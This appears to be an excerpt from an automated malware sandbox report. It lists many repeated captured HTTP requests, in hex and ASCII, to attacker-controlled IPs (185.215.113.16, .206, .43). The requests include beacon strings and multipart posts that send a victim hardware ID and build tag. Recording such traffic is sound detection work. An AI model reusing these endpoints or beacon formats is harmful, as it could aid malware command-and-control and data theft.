Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build"tale------EHCGIJDHDGDBGDGCGCFH--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="build"tale------KJDHCAFCGDAAKEBFIJDG--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
